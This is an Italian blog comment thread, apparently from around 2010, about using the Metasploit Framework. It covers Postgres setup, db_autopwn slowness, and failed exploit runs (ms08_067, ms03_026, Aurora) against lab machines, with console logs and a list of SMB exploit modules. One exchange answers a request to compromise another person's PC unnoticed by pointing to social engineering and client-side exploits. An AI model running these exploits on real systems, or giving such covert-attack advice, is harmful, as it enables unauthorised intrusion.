"The db commands now support filters for everything from open ports to IP ranges. The db_autopwn command now cross-references across multiple ports and services name instead of a single port, when the -p parameter is supplied."
link: http://blog.metasploit.com/2009/11/metasploit-framework-33-released.html
Dovresti provare ad abbandonare SQLite3 ed utilizzare al suo posto Postgres. La lentezza potrebbe essere causata dal motore database non adatto alle query necessarie per elaborare i molti dati risultanti da scansioni di grandi dimensioni.
4 Gennaio 2010 alle 12:47
Ho provato ad installare il Postgres ma non funge nulla è molto più complesso! In rete non sono riuscito a trovare ancora una guida per installare Postgres correttamente per metasploit! Tu hai provato ad installarlo e vedere se funge?
4 Gennaio 2010 alle 20:38
Mirko guarda cosa mi esce per renderti l'idea:
msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_create prova
createdb: impossibile connettersi al database postgres: FATAL: Ident authentication failed for user "postgres"
[-] Error while running command db_create: Failed to connect to the database: FATAL C28000 MIdent authentication failed for user "postgres" Fauth.c L273 Rauth_failed
Call stack:
/home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1664:in `db_create_postgresql'
/home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `send'
/home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `cmd_db_create'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `send'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `run_command'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:197:in `run_single'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `each'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `run_single'
/home/Massimo/meta/lib/msf/ui/console/driver.rb:357:in `run_single'
/home/Massimo/meta/lib/rex/ui/text/shell.rb:144:in `run'
./msfconsole:92
msf >
Cosa devo configurare per farlo andare bene senza problemi? Sto impazzendo!
5 Gennaio 2010 alle 0:16
@ Massimo
Sei sicuro che PostgreSQL sia in esecuzione?
In una installazione predefinita/livecd di Backtrack 4 Pre-Final:
- Aggiornamento/installazione di postgresql
- Avvio del servizio postgresql
- Assicurarsi che sia in esecuzione
- Avvio della msfconsole
- Creazione del DB e connessione
NB: "postgres @ 127.0.0.1" va scritto tutto attaccato, ho dovuto inserire uno spazio perché wordpress non lo visualizzava correttamente
5 Gennaio 2010 alle 1:59
Mirko ho provato a lanciare da terminale e mi ha dato lo Start anche se credevo si lanciasse in automatico all'avvio cmq fa niente... poi ho riprovato a fare i test:
msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_create postgres@localhost/prova
Password:
Password:
[-] Error while running command db_create: Failed to connect to the database: FATAL C28000 Mpassword authentication failed for user "postgres" Fauth.c L273 Rauth_failed
Call stack:
/home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1664:in `db_create_postgresql'
/home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `send'
/home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `cmd_db_create'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `send'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `run_command'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:197:in `run_single'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `each'
/home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `run_single'
/home/Massimo/meta/lib/msf/ui/console/driver.rb:357:in `run_single'
/home/Massimo/meta/lib/rex/ui/text/shell.rb:144:in `run'
./msfconsole:92
Non capisco dov'è che sbaglio! La password è giusta perchè l'ho cambiata! Quanti problemi! Mia uan volta che fila liscio!
5 Gennaio 2010 alle 3:18
Ho provato anche a vedere se i DB li crea! Infatti se entro nel postgres e lancio il comando \l per vedere la lista dei database ci sono tutti! Lui li crea quindi il postgres sembra funzionare bene! Magari può essere qualche libreria mancante?? Non sò più a cosa pensare! :|
5 Gennaio 2010 alle 8:36
@ Massimo
Prova a disabilitare la richiesta password per le connessioni locali, ecco i passi:
Fermi il servizio postgresql
Fai un backup del file "pga_hba.conf"
e poi lo modifichi (puoi usare anche gedit)
All fine di questo file sono dichiarati i vari metodi di autenticazione, assicurati che ci siano queste tre righe:
se nel tuo "pga_hba.conf" c'è qualcosa di diverso lo puoi cancellare... specialmente quelle impostazoni che terminano con "password" anziché "trust".
Avvia il servizio postgresql
5 Gennaio 2010 alle 11:57
Mirko ho fatto anche come dici tu e infatti la Password di autentificazione non me la chiede più... solamente che adesso da un altro errore:
msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_create postgres@localhost/prova
[-] Error while running command db_create: Failed to connect to the database: undefined method `quote_ident' for PGconn:Class
Call stack:
/home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1664:in `db_create_postgresql'
e tutto il resto degli errori.. ecc....
Da dove può dipedere ora? Ti ricordo che uso come distro Ubuntu 9.10 e il postgresql è la versione 8.4 non sò se può cambiare le cose cmq è meglio specificarlo non si sà mai! :)
5 Gennaio 2010 alle 12:39
Mi sà che forse è un problema del rails! Ho trovato un forum che dice questo:
We have updated the rails version from 2.1.1 to 2.3.3 and we get the
folowing error message:
undefined method `quote_ident' for PGconn:Class
Any idea about it?
Thanks in advance.
Può essere?
5 Gennaio 2010 alle 13:15
@ Massimo
Ho fatto una prova su di un livecd Ubuntu 9.10 e funziona tutto correttamente.
Dopo aver abilitato le varie repository software aggiuntive ho installato i classici pacchetti necessari a metasploit (come indicato nel mio vecchio post http://www.notageek.it/metasploit-framework-tutorial-part2.html), "postgresql" e le librerie database per postgresql "libdbd-pgsql" "libdbd-pg-ruby"
5 Gennaio 2010 alle 14:18
Mirko è ovvio che non mi funzionava... mi mancavano quelle 2 librerie del postgres! Adesso funge a meraviglia! Già in virtuale va una scheggia figuriamoci ora che installerò il Postgresql sul fisso volerà! :D
Cmq immaginavo che fosse stato un problema di mancanze librerie l'avevo detto nei post precedenti! Cmq come sempre mi salvi in calcio d'angolo ed io ti ringrazio come sempre! :)
Spero che questi Post possono servire a coloro che hanno gli stessi problemi!
A presto Mirko! :)
22 Ottobre 2010 alle 0:34
Hello there I'm getting the same error as Massimo but on macosx any ideas?
Thanks in advance!
22 Ottobre 2010 alle 7:10
@ mike
Massimo has fixed the problem installing "libdbd-pgsql" and "libdbd-pg-ruby" libraries.
I have no expertise in macosx so I can not suggest anything specific to this operating system... I'm sorry.
14 Gennaio 2010 alle 20:54
Ciao Mirko! Rieccomi con una nuova osservazione... ho notato che c'è una voce "db_workspace" che è impostata su "default"! Ho provato a fare delle ricerche ma non si trova nulla in rete sulla sua spiegazione! Tu per caso sai a cosa serve? Può servire a velocizzare il lancio degli exploit? Grazie mille!
15 Gennaio 2010 alle 10:24
@ Massimo
Ciao,
non l'ho mai usato ma penso che sia un comando per creare/cambiare/eliminare "progetti" o "spazi di lavoro" diversi all'interno dello stesso database, ad es:
Visualizzo il workspace che sto utilizzando, si chiama "default"
Aggiungo un nuovo workspace "test1" e noto che metasploit si sposta automaticamente su di esso
Inserisco dei dati nell'attuale workspace
Cambio workspace, passo a quello chiamato "default" e controllo la presenza di dati
Infatti è vuoto non ci sono dati, mi sposto nuovamente in "test1" e controllo la presenza dati
Elimino il workspace "test1"
15 Gennaio 2010 alle 12:47
Adesso è tutto chiaro... come dici te è uno spazio di lavoro in modo da dividerli se si fanno diverse azioni e tenerli ordinati! Grazie come al solito Mirko! ;)
11 Maggio 2010 alle 21:14
ciao a tutti stò seguendo la guida di metasploit framework e sono arrivato ad un punto ormai da giorni,sono a questo punto: La porta 135 (RPC) del bersaglio è raggiungibile, questo exploit è proprio ciò che fa al caso nostro… selezioniamolo tramite il comando use
quando faccio la scansione delle porte con nmap le mie porte aperte sono le seguenti:
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
sfortunatamente non trovo nessun exploit compatibile con almeno una di queste mie porte.
nella guida trova questa porta che e poi compatibile con l'exploit RPC .........135/tcp open msrpc Microsoft Windows RPC.
come posso fare io per poter continuare a seguire la guida?ho provato ad aprire anche io la porta 135 tramite web al pannello di configurazione del router ma questa porta non c'e.
ok grazie di tutto ciao
11 Maggio 2010 alle 21:54
cesar_yasus ma non è detto che se ci sono porte aperte hanno per forza dei bug. Cmq gli exploit oggi utilizzati sulla 139 o 445 (porte di condivisione di sistema "smb") sono queste:
exploit/windows/smb/ms03_049_netapi
exploit/multi/samba/usermap_script
exploit/solaris/samba/trans2open
exploit/windows/smb/ms06_066_nwapi
exploit/windows/smb/netidentity_xtierrpcpipe
exploit/windows/brightstor/etrust_itm_alert
exploit/windows/smb/psexec
exploit/netware/smb/lsass_cifs
exploit/linux/samba/lsa_transnames_heap
exploit/windows/smb/timbuktu_plughntcommand_bof
exploit/windows/smb/ms06_040_netapi
exploit/windows/smb/ms06_070_wkssvc
exploit/windows/smb/ms08_067_netapi
exploit/windows/smb/ms04_011_lsass
exploit/multi/samba/nttrans
exploit/windows/brightstor/ca_arcserve_342
exploit/windows/smb/ms06_066_nwwks
exploit/windows/smb/msdns_zonename
exploit/osx/samba/lsa_transnames_heap
exploit/windows/smb/ms04_031_netdde
exploit/windows/smb/ms05_039_pnp
Ovviamente effettui il Penetration Test a seconda che sistema è... se Windows, Linux ecc...
Ciao!
12 Maggio 2010 alle 5:51
@ cesar_yasus
devi aprire le porte ed utilizzare come bersaglio un sistema operativo non aggiornato, non c'è altro modo di seguire la guida.
12 Maggio 2010 alle 16:35
grazie 1000 per l'aiuto provo subito
12 Maggio 2010 alle 22:17
grazie mille della guida,
l'ho seguita e sono arrivato fino in fondo,comunque non avendo due pc ho usato come pc vittima il pc con cui facevo il penetration test e visto che e la prima volta che arrivo fino a qui volevo sapere se dovevo esclusivamente usare un'altro pc.
quindi ho usato il mio sistema operativo backtrack e ho cercato di avere la shell dei comandi
ho dato il coomando exploit e mi e uscito:
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
[-] Exploit failed: The connection was refused by the remote host (192.168.1.76:445).
[*] Exploit completed, but no session was created.
msf exploit(lsa_transnames_heap) >
quindi ho sbagliato qualcosa percaso?
e quando do show opzioni mi viene
msf exploit(lsa_transnames_heap) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST xxx.xxx.xxx.xxx yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use
Payload options (linux/x86/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
ecco sono tutti yes ma nelle shell c'e scritto no.
aspetto una vostra opinione grazie ciao
15 Maggio 2010 alle 17:23
ciao sono andato piu avanti e ora volevo sapere perche dopo aver impostato l’exploit, ho ricevuto il messaggio che l’exploit è andato a buon fine, ma non è stata aperta nessuna sessione (Exploit completed, but no session created) ciao grazie
QUESTO E QUELLO CHE MI VIENE
started reverse handler on XX.XX.XX.XX:4444
automatically detecting the target...
fingerprint:windows xp service pack 0 / 1 - lang:italian
selected target:windows xp sp0/sp1 universal
attempting to trigger the vulnerability...
sending stage (240 bytes) to XX.XX.XX.XX
comand shell session 1 opened (XX.XX.XX.XX:4444 ---- XX.XX.XX.XX:1267) at 2010-05-14 20:45:30 +0100
exploit failed: bad file descriptor
exploit completed, but no session was created.
exploit (ms08_067_natapi) >
TRADUZIONE
gestore di inversione è iniziata il XX.XX.XX.XX:4444
Rileva automaticamente il bersaglio ...
impronte digitali: Windows XP Service Pack 0 / 1 - lang: italiana
target selezionato: Windows XP universale sp0/sp1
Il tentativo di innescare la vulnerabilità ...
l'invio di fase (240 byte) a XX.XX.XX.XX
COMAND aprire una sessione di shell (XX.XX.XX.XX:4444 ---- XX.XX.XX.XX:1267) a 0.100 14/05/2010 20:45:30
exploit riuscito: descrittore di file non valido
sfruttare completato, ma non è stato creato sessione.
exploit (ms08_067_natapi)>
17 Maggio 2010 alle 9:26
@ cesar_yasus
Potrebbe essere un problema di ruby, che versione di metasploit utilizzi? Prova con l'ultima rev della versione in sviluppo.
Prova inoltre ad avviare il comando msfconsole con l'opzione -L
Ti rimando a questo bug: http://www.metasploit.com/redmine/issues/480
17 Maggio 2010 alle 18:27
non capisco cosa posso fare con questo bug.poi ho queste porte aperte:
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
vorrei applicargli un exploit ma prima vorrei sapere
come posso fare per renderne almeno una vulnerabile?
17 Maggio 2010 alle 21:13
Se vuoi un sistema vulnerabile installa Windows 2000 SP4 senza fargli aggiornamenti e poi prova sulla 139 o 445 vedrai che funziona! :)
20 Maggio 2010 alle 21:38
ciao a tutti vorrei tanto sapere come si fa a cambiare da bianchi a verdi i caratteri di metasploit consol.
poi ho queste porte aperte
PORT STATE SERVICE
1864/tcp open paradym-31
4443/tcp open pharos
5190/tcp open aol
che exploit mi consigliate?
e perche mi consigliate propio questo? grazie ciao
20 Maggio 2010 alle 23:10
Non vorrei dire una cavolata ma credo siamo porte di default dei Router Alice specialmente la 5190/tcp open aol me la ricordo troppo bene che ce l'hanno i Router Alice.
Per il colore non sò proprio come aiutarti magari Mirko ne sò qualcosa più di me e saprà dirti come cambiarli.
21 Maggio 2010 alle 7:54
@ cesar_yasus
Per quanto riguarda i colori di metasploit: so che era in progetto di aggiungere la possibilità di cambiarli ma non credo sia stato ancora fatto... si possono però disabilitare. Potresti cambiare lo schema di colori del tuo terminale (da "bianco su nero" a "verde su nero") e poi disabilitare i colori in metasploit con il seguente comando:
Per quanto riguarda invece le porte da te segnalate: si tratta di porte normalmente aperte sui router NETGEAR di una particolare serie, ce ne sono anche delle altre.
Vorrei però sottolineare il fatto che, quando parliamo di exploit, il problema non sono le porte "aperte" o "chiuse" ma i servizi che rispondono su di esse. In questo caso specifico, amesso che si tratti effettivamente di un router NETGEAR, tali porte sono utilizzate da un servizio denominato "reaim" per il quale non credo esistano exploit pubblici. Cosa significa questo? Semplicemente che non esistono informazioni pubbliche che ci permettono di capire se il servizio sia vulnerabile o meno a qualche tipo di attacco diretto.
21 Maggio 2010 alle 11:33
Ricordavo che erano porte di Default di qualche Router ho sbagliato solo il modello! :P
cesar_yasus come ha detto Mirko non sempre un sistema è Vulnerabile (per fortuna) altrimenti non saremo più sicuri e su internet non ci andremo più! :D
Una cosa è certa che se un sistema e mantenuto sempre aggiornato può avere anche 3000 porte aperte ma sarà difficile che siano Vulnerabili. Ecco perchè probabilmente le prove che stai effettuando tu saranno corrette ma sicuramente il sistema non è vulnerabile.
22 Maggio 2010 alle 19:04
ciao sono cesar grazie a tutti per la magnifica assistenza,devo dire che questo blog mi ha aiutato piu di quegli altri di cui mi servo,grazie a voi ora molte cose mi sono piu chiare di prima quindi ringrazio espressamete massimo e mirco dell'aiuto e della pazienza che avete.
ora avete terminato dicendo che non sempre un sistema e vulnerabile,,,e io mi chiedo se c'e un modo per rendere vulnerabile il pc di un altra persona senza che si accorga di nulla quindi sarei felice di seguire qualsiasi idea o metodo che usate personalmente o semplicemente una parola chiave. grazie ancora ciao
24 Maggio 2010 alle 10:34
@ cesar_yasus
ti consiglio di approfondire gli argomenti: "social engineering" e "client-side exploits".
Ciao
24 Maggio 2010 alle 11:54
Consigli saggi! :D
22 Giugno 2010 alle 15:11
Ho questo problema ... appena installato Metasploit lancio scrivendo dal terminale
sudo msfconsole
e il terminale mi risponde
/opt/metasploit3/app/ruby: 1: Syntax error: "(" unexpected
come posso risolvere il problema ?
AIUTATEMI VI PREGO !!!!
22 Giugno 2010 alle 16:25
@ gadfly
Lo stai usando su Backtrack 4 oppure l'installazione l'hai fatta tu su di un altra distribuzione?
23 Giugno 2010 alle 14:34
L'ho fatta su ubuntu 9.10 ! Come posso fare ?
26 Giugno 2010 alle 6:04
@ gadfly
Forse ti manca qualche pacchetto, prova ad installare i vari pacchetti indicati in questa guida: http://www.notageek.it/metasploit-framework-tutorial-part2.html
non è più aggiornatissima ma dovrebbe funzionare.
1 Agosto 2010 alle 21:05
Scusate la domanda idiota che non centra unbel nient.
Ho letto tanti manuali su meterpreter ed é molto bello...
ma dove lo posso scaricare??
grz
1 Agosto 2010 alle 21:15
@ K0PP3X
Non si scarica, Meterpreter (Meta-Interpreter) è un componente interno di Metasploit Framework.
Più precisamente si tratta di un payload molto avanzato che lavora direttamente nella memoria della macchina compromessa utilizzando la tecnica "dll injection".
4 Agosto 2010 alle 13:08
@Mirko
ok grazie
il metasploit framework l ho scaricato.
é la verisone 3 come faccio ad usare meterpreter(Meter-Interpreter) con il framework?
ogni volta che lo apro esce un terminale bash
ed esce una scritta [*]configuring multi user permissions for first run...
che edvo fare per lanciare un comando?
devo scrivere il comando ma quando lo scrivo non accade nulla.
devo imparare ad usarlo bene grazie x il vostro aiuto.
27 Settembre 2010 alle 18:43
Ciao Mirko! Ti contatto questa volta per capire se è un problema mio o di Metasploit... andava tutto a meraviglia fino a quando con l'uscita della versione 3.4.2-Dev e l'update sono iniziati il problemi... l'autopwn è diventato davvero lentissimo! Per effettuare un Penetration Test sulla rete mia aziendale ci mette un'eternità a finire mentre con le versioni precedenti era davvero una scheggia... tipo quasi 100 pc in rete con l'autopwn finiva davvero subito e ora si parla di 1 ora se non di più... e in più quando termina si blocca pure Meta crashando il Ruby! Non si può andare avanti in questo modo.... ho provato ad aprire un Tichet sul loro sito ma a quanto pare non mi calcolano di striscio! Puoi vedere il problema direttamente qui:
http://www.metasploit.com/redmine/issues/2314
Ho fatto diversi UP e provando diverse aperture magari se ne dimenticavano di correggere quel Bug ma sembra che ai Ticket correlati sono molto attenti chiudendoli ma a correggere non lo fanno!
Cmq sono arrivato ad una soluzione ma non sò se potrà andare a buon fine sempre ascoltando i tuoi consigli e mi dici come posso fare... ho notato che la versione che si scarica dal sito la 3.4.1 che poi quando la apri è cmq la 3.4.2 è molto veloce e alla fine anche se ci mette molto tempo a terminare il "Waiting" con il comando CTRL+C si killa e non crasha il Ruby quindi si può utilizzare quella versione... e stavo pensando che se si sostituiscono gli exploit può andare bene? Ho provato a fare questa prova sostituendo gli exploit ma quando apro Meta mi esce "errore grave ecc.." perchè probabilmente legge nuovi exploit che non sono inseriti nel CONF o qualcosa del genere.
Tu hai qualche soluzione?
Attendo i tuoi saggi consigli!
Grazie come sempre! :)
28 Settembre 2010 alle 16:57
@ Massimo
Secondo me non hanno capito né il problema che gli hai segnalato né il modo in cui hai aperto il ticket (mi sembra di aver capito che lo hai aperto già in stato di "fixed") quindi hanno deciso di ignorare la cosa.
L'unico consiglio che posso darti in merito a questa faccenda è di indagare e cercare di capire se la lentezza o gli errori sono dovuti a qualche particolare exploit (ad esempio il nuovo ms10_061_spoolss che a volte risulta piuttosto lento), a questo scopo potresti escludere determinati exploit tramite una regular expression da specificare tramite il parametro "-m" nel momento in cui lanci il comando db_autopwn, un esempio:
questo comando esclude i due exploit ms08_067_netapi e ms10_061_spoolss.
Se vuoi escludere un altro exploit ti basta aggiungere al centro della regular expression di cui sopra un "pipe" (che sta per "OR") ed una parte del suo nome, un altro esempio:
questo esclude gli exploit ms08_067_netapi, ms10_061_spoolss ed anche ms06_040_netapi.
Un altra cosa che potresti fare è specificare un tempo di esecuzione massimo (per singolo exploit) con l'opzione "-T" del comando db_autopwn.
28 Settembre 2010 alle 22:17
Mirko sai sempre tutto! È un'ottimo comando che, a parte il fatto di scovare il Bug, mi fa comodo perchè tutti i PC che stanno in azienda sono tutti Windows... quindi quegli Exploit di Linux/osx ecc..in più che lanciava era tempo perso! Me li sono selezionati a dovere in modo che adesso lancia solo quelli di Windows e la differenza di tempo si vede... roba di 700-800 exploit in meno ma per quanto riguarda il Bug non c'è verso... ho effettuato tutti i test possibili inserendo e togliendo Exploit lasciando addirittura solo 2-3 exploit ma la velocità e il crash finale del Waiting restano invariati! Penso che sia proprio un'errore di programmazione dovuta al Core di Meta! Ho provato a chiedere anche supporto sul loro canale IRC parlando con uno degli sviluppatori e sai che mi hanno risposto? Che la loro priorità è altro mentre l'autopwn si può trascurare... allora dico io è possibile che ancora nessuno che usa questa funzione di Meta si sia accorto del Bug e non ha chiesto supporto o lo uso solo io nel mondo? È davvero strana come cosa! Credevo che fosse solo un problema mio ma l'ho provato oltre che sulla mia Ubuntu 10.04 anche su Debian e BackTrack stesso errore su entrambi! Non sò più cosa fare oltre che aspettare che gli arrivano altre segnalazioni perchè il problema è su tutti i sistemi...
L'unica cosa che ho notato che se sono pochi Exploit da lanciare tipo 100 al Waiting non si blocca ma se sono tanti come nel mio caso che in azienda sono troppi PC in rete sembra che si sovracarica Meta o il Ruby e si blocca..
Non saprei proprio da cosa può dipendere. Cosa mi consigli Mirko ti perdere le speranze e tenermelo così?
28 Settembre 2010 alle 22:42
Ho provato a fare un altro test che mi era sfuggito... quello di eliminare tutti gli Exploit Windows e lasciare il resto di linux/multi/osx ecc.. e la questione non cambia sia di lentezza che del crash finale quindi credo sia confermato che sarà un bug interno al core di Meta! :|
29 Settembre 2010 alle 19:35
@ Massimo
purtroppo non so come aiutarti, mi spiace... mi risulta difficile anche ricreare il problema per fare una seconda segnalazione.
Sulla mailing list hai provato a segnalarlo? Penso che quella venga letta da molte più persone rispetto al bug tracker.
29 Settembre 2010 alle 21:40
In effetti segnalarlo come seconda volta verrà ignorato se non cancellato come hanno già fatto... per la Mailing List non ho provato non sapevo neanche l'esistenza mi potresti dare il link? In modo che ci provo tanto ormai.. perso per perso tentiamo questa ultima segnalazione!
Grazie come sempre!
29 Settembre 2010 alle 22:46
@ Massimo
per iscriverti hai bisogno soltanto di un indirizzo e-mail, la pagina è questa: http://spool.metasploit.com/mailman/listinfo/framework
Attendi l'email di conferma dopodiché potrai mandare un messaggio a tutti gli iscritti scrivendo a: framework@spool.metasploit.com
29 Settembre 2010 alle 22:49
Perfetto! Grazie Mirko ti terrò informato! ;)
22 Ottobre 2010 alle 10:58
Mirko alla fine feci anche la Newsletter ma senza nessun risultato... sta li ferma senza neanche una risposta! Non capisco il perchè non mi rispondono anche se dicessero "NON SI PUÒ FIXARE" sarei più contento almeno accetto il problema e amen...
Ma la cosa che non vogliono prendere in esame il problema mi puzza un pò... se ne fregano altamente! Metasploit è un'ottimo programma ma lo Staff bisogna un pò revisionarlo perchè riparano i bug che interessa loro... a quanto pare!
http://mail.metasploit.com/pipermail/framework/2010-October/007037.html
25 Ottobre 2010 alle 7:01
@ Massimo
Avevo già notato la tua email alla newsletter, mi spiace che non ti abbiano risposto.
Purtroppo non c'è nulla che io possa fare.
25 Ottobre 2010 alle 10:46
Pazienza Mirko... magari più in là riapro un altro tichet e un'altra newsletter. Ho notato proprio ieri che facendo altre prove è riuscito a terminare senza bloccarsi! C'ha messo un 4-5 minuti per il termine del Waiting ma è arrivato a 0 e poi mi ha dato la riga di comando msf>
Ma se non ricordo male al primo lancio dell'autopwn si conclude senza problemi ma dalla seconda si blocca... è come se è proprio il Ruby che si sovracarica! Ho provato anche in virtuale con il Ruby1.9 magari poteva essere quello il problema che Meta era più automatizzato con l'ultimo Ruby... ma i risultati sono gli stessi quindi è proprio un Bug di Meta sperando che si dedicano un 5 minuti a questo problema. Aspetterò e non mi arrenderò! :D
Grazie Mirko! A presto!
8 Ottobre 2010 alle 10:50
Ciao Mirko, sto avvicinandomi timidamente al pentesting mediante il metasploit framework, che sembra essere un ottimo programma. leggendo i vari forum e le varie (povere) guide che stanno in giro, ho cominviato a capirci qualcosina, ma..... ti posso fare 2 domande per chiarirmi un poco le idee?
spero di si... he he he
allora
1 - come scegliere il giusro tipo di exploit fra i mille a disposizione? mi spiego meglio: il pc obiettivo, dall'analisi di nmap pare che utilizzi un dato s.o. e abbia delle porte specifiche aperte: quale exploit usare?
2 - se il pc obiettivo è situato in una lan gestita da un router, probabilmente nmap mi legge il s.o. del router, quindi: cosa fare? mandare un exploit al router?
ti ringrazio per queste domande e spero che tu mi possa chiarire le idee.
se poi esiste una guida (in italiano) che sia più esaustiva di quelle che ho trovato in giro (brigante, una per utte), indicamela.
ti ringrazioe saluto e ti faccio i complimento per il blog
brizzolato
24 Ottobre 2010 alle 18:25
Ciao a tutti.
Intanto devo complimentarmi con mirko per la fantastica guida che ha messo in disposizione.
Promessa: io sono principiante.
Allora ho seguito e svolto attentamente la guida,dal mio computer che ho ubuntu 10.10 sull'altro computer che ho con windows xp(tutti due sono conessi allo stesso ruter,conosco gia gli ip e sono certo).
Il mio problema è che quando alla fine inserisco exploit : mi si appare:
[*] Started reverse handler on 37.243.12.39:4444
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:37.243.xx.xx[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:37.243.xx.xx[135] ...
[*] Sending exploit ...
[-] Exploit exception: DCERPC FAULT => nca_s_fault_access_denied
[*] Exploit completed, but no session was created.
msf exploit(ms03_026_dcom) >
Secondo te Mirko qualè il problema.
Grazie per la tua collaborazione.
25 Ottobre 2010 alle 7:04
@ Russel
il bug ms03_026_dcom è stat risolto con una patch nel 2003.
Probabilmente il sistema che stai attaccando è aggiornato e non risulta più vulnerabile, dovresti provare con un exploit più recente oppure potresti utilizzare come target una macchina virtuale Windows XP non aggiornata.
25 Ottobre 2010 alle 12:39
Dove posso informarmi sui exploit piu recenti ed aggiornati?
Grazie per la tua collaborazione.
25 Ottobre 2010 alle 20:57
@ Russel
inizia da questa pagina http://www.notageek.it/security-feeds e segui i link di approfondimento
6 Novembre 2010 alle 13:23
Ciao a tutti e complimenti per la guida,ho fatto come descritto e mi ritrovo con lo stesso problema di Russel,a questo punto ho creato una macchina virtuale e ho installato xp senza services pack ma non cambia niente.
6 Novembre 2010 alle 14:15
Invece dell'XP prova il Windows2000 anche con il SP4 ma senza aggiornamenti. È quello con più BUG partendo da IE e finendo al samba! Ciao! :)
8 Novembre 2010 alle 9:18
Scusa con windows 98 va bene lo stesso,perchè il 2000 non riesco a scaricarlo
8 Novembre 2010 alle 12:09
Se ti devo dire la verità non ho mai provato un PenTest sui sistemi prima del 2000 per il semplice fatto che ormai sono del tutto obsoleti davvero pochissimi possiedono ancora un win98-Me... ma potresti provarci tu e farci sapere! Secondo la logica il 98 dovrebbe essere zeppo di bug anche perchè ormai il supporto è terminato quindi nessun rilascio di patch. Prova e facci sapere :)
9 Novembre 2010 alle 10:07
@ luca
Non c'è bisogno di utilizzare sistemi così vecchi, Windows XP SP0 va benissimo.
Probabilmente il problema è un altro, prova con un exploit più recente e vedi come va, ad esempio: ms08_067_netapi.
9 Novembre 2010 alle 20:06
Ho provato sia con windows xp,2000 e 98 ma niente mi con xp mi dice Exploit completed, but no session was created. mentre con gli altri due mi dice Exploit exception: DCERPC FAULT => nca_s_fault_access_denied,a questo punto presumo che sbaglio io qualcosa,io ho creato una macchina virtuale e ho cmd ipconfig e ho preso l'ip (RHOST) lo stesso procedimento faccio sul mio (LHOST) ho disattivato antivirus,firewall ma niente.
Cosa ho sbagliato?
9 Novembre 2010 alle 20:44
scusate se ho mancato alcune parole
13 Novembre 2010 alle 14:40
chi mi aiuta??
16 Novembre 2010 alle 14:38
Perchè nessuno mi risponde,sottolineo che devo provarlo sul mio computer,non mi permetterei mai di fare danni agli altri
16 Novembre 2010 alle 16:23
@ luca
lo hai installato tu metasploit framework o stai utilizzando una distribuzione Linux preconfigurata?
Prova ad utilizzare backtrack 4 e vedi se il problema persiste.
16 Novembre 2010 alle 17:36
Ciao Mirko ho provato sia sul mio xp e sia sulla macchina virtuale con backtrack 4 ma il risultato non cambia,forse faccio io confusione con gli indirizzi ip,non lo so se qualcuno mi fa capire dove sbaglio lo ringrazio molto
17 Novembre 2010 alle 19:10
@ luca
Non vedo come tu possa aver fatto confusione con gli indirizzi IP poiché l'operazione mi sembra molto banale.
L'unica cosa che posso dirti è che ho appena provato a rifare quanto descritto in questo articolo (ultima versione DEV di metasploit) e tutto ha funzionato senza problemi.
18 Novembre 2010 alle 15:46
Allora sono io che sono sfortunato
18 Novembre 2010 alle 18:55
Ciao Mirko e ciao a tutti gli amici che seguono il blog.
Sto seguendo con attenzione quanto scrivete sul Metasploit (che trovo molto interessante) e vorrei, se possibile, un aiuto.
Ho 2 pc collegati allo stesso router: il pc "vittima" ha windows XP sp3 mentre quello "attaccante" ha backtrack 4 (veramente eccezionale). Non sono, diciamo così, in rete, nel senso che non si riconoscono, ma facendo il ping è tutto regolare. Il problema è che lanciando vari exploit, in particolare l'ultimo l'Aurora, l'exploit parte ma rimane tutto sospeso. Non va avanti. Io credo che sia un problema di porte: ho abbassato entrambi i firewall, ma non va. Suggerimenti?
18 Novembre 2010 alle 23:43
@ zittinobob
Ciao,
l'Aurora è un exploit di tipo "client-side" che sfrutta un bug di Internet Explorer quindi perché venga eseguito è necessario fare in modo che la "vittima" si connetta al web server attivato da metasploit.
19 Novembre 2010 alle 17:27
Mirko, fino a lì è ok. Il pc "vittima" si connette al web server attivato da metasploit (nel mio caso http://192.168.0.3:8080). Si attiva la connessione, lancia l'exploit, ma rimane appeso (se mi si consente il termine "grezzo"). Ho aspettato diversi minuti, ma non accade nulla. Secondo te qual'è la causa? Ti ringrazio per la risposta e per l'attenzione.
19 Novembre 2010 alle 18:35
@ zittinobob
potresti mostrarmi il log? vediamo se c'è qualche messaggio interessante...
20 Novembre 2010 alle 18:28
Mirko, sei gentilissimo. Questo è il log, vediamo cosa ne pensi.
preparazione:
msf > use windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > show options
Module options:
